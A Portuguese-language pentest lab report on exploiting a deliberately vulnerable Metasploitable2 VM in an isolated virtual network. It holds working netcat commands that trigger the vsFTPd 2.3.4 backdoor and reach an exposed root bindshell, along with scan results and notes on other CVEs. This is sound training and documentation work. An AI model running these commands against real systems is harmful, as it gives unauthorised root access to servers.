Laboratório de Pentest em Rede Isolada

Autor: Daniel Stefan de Jesus dos Reis Data: Setembro/2026 Ambiente: Laboratório pessoal KVM em rede virtual isolada pentestlab

Aviso de Escopo e Autorização

Este teste foi realizado exclusivamente contra uma máquina virtual própria e intencionalmente vulnerável, distribuída pela Rapid7 especificamente para fins de treinamento em segurança ofensiva, dentro de uma rede virtual isolada sem saída para a internet. Nenhum sistema de terceiros foi acessado. Este projeto tem finalidade exclusivamente educacional, para desenvolvimento de habilidades em testes de intrusão.

1. Arquitetura do Laboratório

• Hypervisor: KVM/libvirt
• Rede virtual: pentestlab (bridge virbr-lab), sub-rede 192.168.100.0/24, sem <forward> configurado — ou seja, uma rede isolada de verdade: as VMs conversam entre si e com o host, mas não têm rota para fora do laboratório. XML da rede em evidencias/pentestlab_network.xml.
• Host atacante: a própria máquina host, com interface virbr-lab, usando nmap, nikto, gobuster, hydra, sqlmap e netcat.
• Alvo: VM metasploitable2 (Metasploitable2, Ubuntu 8.04 modificado), IP 192.168.100.90/24, atribuído via DHCP da própria rede isolada.

[ Host / Atacante ]  
        |
   virbr-lab (rede isolada, sem saída para internet)
        |
[ metasploitable2 ] 

2. Metodologia

Segui um fluxo básico de reconhecimento → enumeração → exploração → documentação:

1. Descoberta de host e varredura completa de portas TCP com detecção de serviço/versão (nmap -sV -sC -p-)
2. Varredura de vulnerabilidades web (nikto)
3. Priorização de vulnerabilidades conhecidas (CVE) associadas às versões identificadas
4. Exploração manual aonde todos os passos abaixo foram feitos com nc, para entender o mecanismo de cada falha, não só "rodar o exploit"
5. Documentação de evidências e recomendações de correção

3. Reconhecimento — Varredura Completa

Comando: nmap -sV -sC -p- -T4 192.168.100.90 Saída completa: evidencias/nmap_full_scan.txt

Resumo dos serviços mais relevantes encontrados:

4. Vulnerabilidades Exploradas (confirmadas)

4.1 Backdoor no vsFTPd 2.3.4 — CVE-2011-2523 (Crítica)

Entre 30/06/2011 e 03/07/2011, o código-fonte do vsFTPd 2.3.4 disponibilizado para download foi adulterado por um atacante. A versão comprometida contém uma backdoor: ao receber, no campo de usuário do login FTP, uma string terminada em :), o servidor abre um shell de root na porta TCP 6200, sem qualquer autenticação.

Passos executados (log completo em evidencias/vsftpd_backdoor_exploit.txt):

# 1. Disparar a backdoor enviando USER terminado em ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21

# 2. Conectar na porta 6200, aberta pela backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200

Resultado:

uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Acesso root total obtido sem autenticação.

4.2 Bindshell exposto na porta 1524/tcp (Crítica)

O nmap já identifica esse serviço como Metasploitable root shell — uma backdoor deixada intencionalmente na imagem (resquício de um exploit anterior, comum em imagens de treinamento). Não exige exploração: basta conectar.

( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524

Resultado: uid=0(root) gid=0(root) groups=0(root) — root imediato.

Log completo em evidencias/bindshell_1524.txt.

5. Vulnerabilidades Identificadas (não exploradas nesta rodada)

5.1 UnrealIRCd 3.2.8.1 — CVE-2010-2075 (Crítica, identificada por versão)

A versão do UnrealIRCd rodando nas portas 6667/6697 corresponde a uma build historicamente distribuída com uma backdoor (comando AB; seguido de um comando de shell). Tentei disparar a backdoor manualmente via nc, mas o servidor tratou a entrada como um comando IRC inválido (451 :You have not registered) em vez de executar o comando — ou essa imagem específica não contém o binário trojanizado, ou o payload precisa de ajuste fino que não priorizei nesta rodada. Registro isso como tentativa sem sucesso, não como vulnerabilidade confirmada.

5.2 distccd 3632/tcp — CVE-2004-2687 (Alta)

Serviço de compilação distribuída que aceita comandos arbitrários de qualquer cliente que se conecte, sem autenticação. Identificado por versão, não explorado nesta rodada.

5.3 Java RMI Registry — porta 1099/tcp (Alta)

Historicamente vulnerável a execução remota de código via desserialização. Identificado por versão, não explorado nesta rodada.

6. Enumeração Web (nikto)

Comando: nikto -h 192.168.100.90 -p 80 Saída completa: evidencias/nikto_scan.txt

Principais achados:

• Apache 2.2.8 desatualizado (série atual, à época, era 2.2.22+)
• Método HTTP TRACE ativo (potencial XST)
• /phpinfo.php exposto publicamente (revela configuração do PHP)
• /phpMyAdmin/ acessível sem restrição de IP
• Listagem de diretório habilitada em /doc/, /test/ e /icons/
• Cookie do phpMyAdmin criado sem a flag httponly

7. Recomendações de Correção

8. O que este laboratório demonstrou na prática

• Reconhecimento e enumeração de rede com nmap (varredura completa, detecção de serviço/versão, scripts NSE)
• Entendimento do mecanismo de uma backdoor real (vsFTPd) e exploração manual via netcat, sem depender de framework automatizado
• Análise de vulnerabilidades web com nikto
• Documentação de um teste de intrusão em formato de relatório: escopo, metodologia, achados priorizados por severidade e recomendações de correção
• Manutenção de um ambiente de laboratório isolado e seguro (rede virtual sem saída para internet)

9. Próximos passos

• Repetir a exploração do UnrealIRCd com uma versão de imagem confirmadamente trojanizada, para fechar esse achado
• Adicionar uma segunda máquina atacante dedicada (ex: Kali Linux) à rede pentestlab, em vez de atacar diretamente do host
• Expandir este laboratório para um cenário de Active Directory (projeto planejado separadamente)